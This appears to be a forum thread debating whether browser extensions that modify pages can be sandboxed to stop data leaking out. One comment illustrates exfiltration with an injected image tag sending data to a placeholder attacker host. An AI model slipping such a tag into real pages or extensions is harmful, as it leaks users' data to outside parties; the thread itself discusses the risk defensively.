Do extensions require any permissions to make requests? It seems like a strict sandbox that prevents data from flowing out of a page via an extension would help, if the extension is something like a JSON renderer.
Most extensions need the ability to modify webpages. With that ability, they can easily exfiltrate data by for example adding a <img src=evil.com/?data=82374682376>.
Trying to sandbox an extension that can modify arbitrary webpages in arbitrary ways is near futile.
Trying to sandbox an extension that can modify arbitrary webpages in arbitrary ways is near futile.
Just don't let them create script elements, or add any URLs that don't come from within the extension bundle itself. Browsers already have to do a ton of bookkeeping to track the origins of requests anyway. Doesn't seem hard, you just have to be thorough.
Yes, but you could strictly limit which extensions had that permission, make it a site specific permission, etc. Auto disabling an extension that changes to require that permission would be a start.